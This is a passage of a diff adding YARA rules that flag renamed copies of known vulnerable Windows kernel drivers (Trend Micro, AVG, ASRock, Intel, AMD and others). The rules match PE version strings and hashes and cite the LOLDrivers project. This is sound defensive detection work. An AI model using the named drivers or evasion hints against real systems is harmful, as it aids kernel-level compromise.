+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "3e1d47a497babbfd1c83905777b517ec87c65742bee7eb57a2273eca825d2272"
+		date = "2023-06-14"
+		score = 70
+		id = "b467d87b-12bc-56ef-9901-520e73be1b50"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e0030002e0030002e0031003100310033 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 } /* ProductName TrendMicroEyes */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300035002d00320030003100310020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them and not filename matches /TmComm/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_6FB5 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "6fb5bc9c51f6872de116c7db8a2134461743908efc306373f6de59a0646c4f5d"
+		date = "2023-06-14"
+		score = 70
+		id = "045c065f-82e8-5302-b1b4-d5a49491fb84"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 } /* FileDescription AVGantirootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* CompanyName AVGTechnologiesCZsro */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0035002e0034003200320030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0035002e0034003200320030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* InternalName aswArPotsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 } /* ProductName AVGInternetSecuritySystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310039002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* LegalCopyright CopyrightCAVGTechnologiesCZsro */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them and not filename matches /aswArPot/i and not filename matches /avgArPot/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Asrockincorporation_Asrdrvsys_Asrockiodriver_3943 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - AsrDrv106.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "3943a796cc7c5352aa57ccf544295bfd6fb69aae147bc8235a00202dc6ed6838"
+		hash = "950a4c0c772021cee26011a92194f0e58d61588f77f2873aa0599dff52a160c9"
+		hash = "2003b478b9fd1b3d76ec5bf4172c2e8915babbbee7ad1783794acbf8d4c2519d"
+		hash = "6ed35f310c96920a271c59a097b382da07856e40179c2a4239f8daa04eef38e7"
+		hash = "ece0a900ea089e730741499614c0917432246ceb5e11599ee3a1bb679e24fd2c"
+		hash = "f40435488389b4fb3b945ca21a8325a51e1b5f80f045ab019748d0ec66056a8b"
+		hash = "a7c2e7910942dd5e43e2f4eb159bcd2b4e71366e34a68109548b9fb12ac0f7cc"
+		date = "2023-06-14"
+		score = 70
+		id = "8a32a060-72e4-586a-9269-48ca9e7b49f7"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004100530052006f0063006b00200049004f0020004400720069007600650072 } /* FileDescription ASRockIODriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004100530052006f0063006b00200049006e0063006f00720070006f0072006100740069006f006e } /* CompanyName ASRockIncorporation */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300030002e00300030002e00300030003000300020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300030002e00300030002e0030003000300030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004100730072004400720076002e007300790073 } /* InternalName AsrDrvsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004100530052006f0063006b00200049004f0020004400720069007600650072 } /* ProductName ASRockIODriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004100730072004400720076002e007300790073 } /* OriginalFilename AsrDrvsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100320020004100530052006f0063006b00200049006e0063006f00720070006f0072006100740069006f006e } /* LegalCopyright CopyrightCASRockIncorporation */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /AsrDrv106/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Hpdevelopmentcompany_Etdsuppsys_Hpetdidriverdll_F744 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - etdsupp.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "f744abb99c97d98e4cd08072a897107829d6d8481aee96c22443f626d00f4145"
+		date = "2023-06-14"
+		score = 70
+		id = "577bb210-93ca-5f9f-a297-c8bce58dfd1f"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004500540044006900200053007500700070006f007200740020004400720069007600650072 } /* FileDescription ETDiSupportDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0048005000200044006500760065006c006f0070006d0065006e007400200043006f006d00700061006e0079 } /* CompanyName HPDevelopmentCompany */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0030002e0030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0030002e0030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0065007400640073007500700070002e007300790073 } /* InternalName etdsuppsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0048005000200045005400440069002000440072006900760065007200200044004c004c } /* ProductName HPETDiDriverDLL */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0065007400640073007500700070002e007300790073 } /* OriginalFilename etdsuppsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200043006f007000790072006900670068007400200031003900390031002d00320030003200320020004800650077006c006500740074002d005000610063006b00610072006400200044006500760065006c006f0070006d0065006e007400200043006f006d00700061006e0079002c0020004c002e0050002e } /* LegalCopyright CCopyrightHewlettPackardDevelopmentCompanyLP */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /etdsupp/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Intelcorporation_Iqvwsys_Intelriqvwsys_1F81 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iQVW64.SYS"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "1f8168036d636aad1680dd0f577ef9532dbb2dad3591d63e752b0ba3ee6fd501"
+		date = "2023-06-14"
+		score = 70
+		id = "39d8757d-888a-5098-b1c0-7954b233599e"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049006e00740065006c0028005200290020004e006500740077006f0072006b0020004100640061007000740065007200200044006900610067006e006f00730074006900630020004400720069007600650072 } /* FileDescription IntelRNetworkAdapterDiagnosticDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e00740065006c00200043006f00720070006f0072006100740069006f006e0020 } /* CompanyName IntelCorporation */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0033002e0032002e003100360020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0033002e0032002e00310036 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006900510056005700360034002e005300590053 } /* InternalName iQVWSYS */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0049006e00740065006c0028005200290020006900510056005700360034002e005300590053 } /* ProductName IntelRiQVWSYS */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006900510056005700360034002e005300590053 } /* OriginalFilename iQVWSYS */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300032002d003200300031003800200049006e00740065006c00200043006f00720070006f0072006100740069006f006e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e } /* LegalCopyright CopyrightCIntelCorporationAllRightsReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /iQVW64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Phoenixtechnologies_Agentsys_Driveragent_4045 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - Agent64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "4045ae77859b1dbf13972451972eaaf6f3c97bea423e9e78f1c2f14330cd47ca"
+		hash = "8cb62c5d41148de416014f80bd1fd033fd4d2bd504cb05b90eeb6992a382d58f"
+		hash = "6948480954137987a0be626c24cf594390960242cd75f094cd6aaa5c2e7a54fa"
+		hash = "b1d96233235a62dbb21b8dbe2d1ae333199669f67664b107bff1ad49b41d9414"
+		hash = "05f052c64d192cf69a462a5ec16dda0d43ca5d0245900c9fcb9201685a2e7748"
+		date = "2023-06-14"
+		score = 70
+		id = "0bb01569-32ea-52c5-a5cd-27ed4eddfa4b"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004400720069007600650072004100670065006e0074002000440069007200650063007400200049002f004f00200066006f0072002000360034002d006200690074002000570069006e0064006f00770073 } /* FileDescription DriverAgentDirectIOforbitWindows */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00500068006f0065006e0069007800200054006500630068006e006f006c006f0067006900650073 } /* CompanyName PhoenixTechnologies */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004100670065006e007400360034002e007300790073 } /* InternalName Agentsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004400720069007600650072004100670065006e0074 } /* ProductName DriverAgent */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004100670065006e007400360034002e007300790073 } /* OriginalFilename Agentsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0045006e0054006500630068002000540061006900770061006e002c00200031003900390037002d0032003000300039 } /* LegalCopyright EnTechTaiwan */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /Agent64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Tgsoftsas_Viragtsys_Viritagentsystem_D0E2 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - viragt64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "d0e25b879d830e4f867b09d6540a664b6f88bad353cd14494c33b31a8091f605"
+		date = "2023-06-14"
+		score = 70
+		id = "32290d09-5e5a-5cd7-ae87-5be0646fbbc1"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d } /* FileDescription VirITAgentSystem */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0054004700200053006f0066007400200053002e0061002e0073002e } /* CompanyName TGSoftSas */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c002000360030002c00200030002c00200030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c002000360030002c00200030002c00200030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007600690072006100670074002e007300790073 } /* InternalName viragtsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d } /* ProductName VirITAgentSystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]007600690072006100670074002e007300790073 } /* OriginalFilename viragtsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200054004700200053006f0066007400200053002e0061002e0073002e00200032003000300036002c002000320030003100310020002d0020007700770077002e007400670073006f00660074002e00690074 } /* LegalCopyright CopyrightCTGSoftSaswwwtgsoftit */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /viragt64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Novellinc_Novellxtier_904E {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NICM.SYS"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "904e0f7d485a98e8497d5ec6dd6e6e1cf0b8d8e067fb64a9e09790af3c8c9d5a"
+		hash = "cf3180f5308af002ac5d6fd5b75d1340878c375f0aebc3157e3bcad6322b7190"
+		date = "2023-06-14"
+		score = 70
+		id = "f8c55d27-288b-50ea-a8ef-bbd4f9d0739f"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e006f00760065006c006c00200043006c00690065006e007400200050006f00720074006100620069006c0069007400790020004c0061007900650072 } /* FileDescription NovellClientPortabilityLayer */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e006f00760065006c006c002c00200049006e0063002e } /* CompanyName NovellInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0031002e0036002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0031002e0036 } /* ProductVersion  */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e006f00760065006c006c002000580054006900650072 } /* ProductName NovellXTier */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00490043004d002e005300590053 } /* OriginalFilename NICMSYS */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200043006f007000790072006900670068007400200032003000300030002d0032003000300038002c0020004e006f00760065006c006c002c00200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e } /* LegalCopyright CCopyrightNovellIncAllRightsReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /NICM/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Openlibsysorg_Openlibsyssys_Openlibsys_F060 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - OpenLibSys.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "f0605dda1def240dc7e14efa73927d6c6d89988c01ea8647b671667b2b167008"
+		date = "2023-06-14"
+		score = 70
+		id = "0f9f6aaf-37f7-593c-8086-0907e7c09e24"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004f00700065006e004c00690062005300790073 } /* FileDescription OpenLibSys */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004f00700065006e004c00690062005300790073002e006f00720067 } /* CompanyName OpenLibSysorg */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0031002e0033 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0031002e0033 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004f00700065006e004c00690062005300790073002e007300790073 } /* InternalName OpenLibSyssys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004f00700065006e004c00690062005300790073 } /* ProductName OpenLibSys */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004f00700065006e004c00690062005300790073002e007300790073 } /* OriginalFilename OpenLibSyssys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000370020004f00700065006e004c00690062005300790073002e006f00720067 } /* LegalCopyright CopyrightCOpenLibSysorg */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /OpenLibSys/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Rweverything_Rwdrvsys_Rweverythingreadwritedriver_2A65 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - AsrIbDrv.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "2a652de6b680d5ad92376ad323021850dab2c653abf06edf26120f7714b8e08a"
+		hash = "3384f4a892f7aa72c43280ff682d85c8e3936f37a68d978d307a9461149192de"
+		hash = "2470fd1b733314c9b0afa19fd39c5d19aa1b36db598b5ebbe93445caa545da5f"
+		hash = "47f08f7d30d824a8f4bb8a98916401a37c0fd8502db308aba91fe3112b892dcc"
+		hash = "0aafa9f47acf69d46c9542985994ff5321f00842a28df2396d4a3076776a83cb"
+		hash = "2bf29a2df52110ed463d51376562afceac0e80fbb1033284cf50edd86c406b14"
+		date = "2023-06-14"
+		score = 70
+		id = "99ca2e37-5fcd-5fe2-8e38-88d1153fe950"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00520057002d00450076006500720079007400680069006e006700200052006500610064002000260020005700720069007400650020004400720069007600650072 } /* FileDescription RWEverythingReadWriteDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00520057002d00450076006500720079007400680069006e0067 } /* CompanyName RWEverything */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300030002e00300030002e00300030003000300020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300030002e00300030002e0030003000300030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00520077004400720076002e007300790073 } /* InternalName RwDrvsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00520057002d00450076006500720079007400680069006e006700200052006500610064002000260020005700720069007400650020004400720069007600650072 } /* ProductName RWEverythingReadWriteDriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00520077004400720076002e007300790073 } /* OriginalFilename RwDrvsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300038002000520057002d00450076006500720079007400680069006e0067 } /* LegalCopyright CopyrightCRWEverything */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /AsrIbDrv/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_5027 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "5027fce41ed60906a0e76b97c95c2a5a83d57a2d1cd42de232a21f26c0d58e48"
+		date = "2023-06-14"
+		score = 70
+		id = "fb17b415-51c9-5bd1-b557-8d57015f90e1"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e00350030002e0030002e0031003000340037 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e00350030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 } /* ProductName TrendMicroEyes */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000320020002d002000320030003100320020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them and not filename matches /TmComm/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Avgtechnologiesczsro_Aswarpot_Avginternetsecuritysystem_19D0 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "19d0fc91b70d7a719f7a28b4ad929f114bf1de94a4c7cba5ad821285a4485da0"
+		date = "2023-06-14"
+		score = 70
+		id = "f896b0df-8862-5345-8feb-bdbddedda0bc"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200041006e0074006900200052006f006f0074006b00690074 } /* FileDescription AVGAntiRootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* CompanyName AVGTechnologiesCZsro */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320030002e0037002e003100310033002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320030002e0037002e003100310033002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 } /* InternalName aswArPot */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 } /* ProductName AVGInternetSecuritySystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000320030002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* LegalCopyright CopyrightCAVGTechnologiesCZsro */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them and not filename matches /aswArPot/i and not filename matches /avgArPot/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Advancedmicrodevices_Amdryzenmasterdriversys_Amdryzenmasterservicedriver_7795 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - AMDRyzenMasterDriver.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "77955af8a8bcea8998f4046c2f8534f6fb1959c71de049ca2f4298ba47d8f23a"
+		date = "2023-06-14"
+		score = 70
+		id = "d7c72129-94ab-5ff6-8b39-5c8c24ac1949"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 } /* FileDescription AMDRyzenMasterServiceDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041006400760061006e0063006500640020004d006900630072006f00200044006500760069006300650073 } /* CompanyName AdvancedMicroDevices */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0030002e0030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0030002e0030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 } /* InternalName AMDRyzenMasterDriversys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 } /* ProductName AMDRyzenMasterServiceDriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 } /* OriginalFilename AMDRyzenMasterDriversys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020003200300032003200200041004d0044002c00200049006e0063002e } /* LegalCopyright CopyrightAMDInc */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /AMDRyzenMasterDriver/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Advancedmicrodevices_Amdryzenmasterdriversys_Amdryzenmasterservicedriver_9B1A {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - AMDRyzenMasterDriver.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "9b1ac756e35f795dd91adbc841e78db23cb7165280f8d4a01df663128b66d194"
+		date = "2023-06-14"
+		score = 70
+		id = "04c4bd4a-67ca-5dbb-9347-ad1a5c949895"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 } /* FileDescription AMDRyzenMasterServiceDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041006400760061006e0063006500640020004d006900630072006f00200044006500760069006300650073 } /* CompanyName AdvancedMicroDevices */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0031002e0030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0031002e0030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 } /* InternalName AMDRyzenMasterDriversys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 } /* ProductName AMDRyzenMasterServiceDriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 } /* OriginalFilename AMDRyzenMasterDriversys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020003200300031003700200041004d0044002c00200049006e0063002e } /* LegalCopyright CopyrightAMDInc */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /AMDRyzenMasterDriver/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Panyazilimbilisimteknolojileriticltdsti_Panmonfltsys_Pancafemanager_7E01 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - PanMonFlt.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "7e0124fcc7c95fdc34408cf154cb41e654dade8b898c71ad587b2090b1da30d7"
+		date = "2023-06-14"
+		score = 70
+		id = "e74ef985-275d-5d14-97a3-e3085600aaa6"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500061006e00430061006600650020004d0061006e0061006700650072002000460069006c00650020004d006f006e00690074006f0072 } /* FileDescription PanCafeManagerFileMonitor */
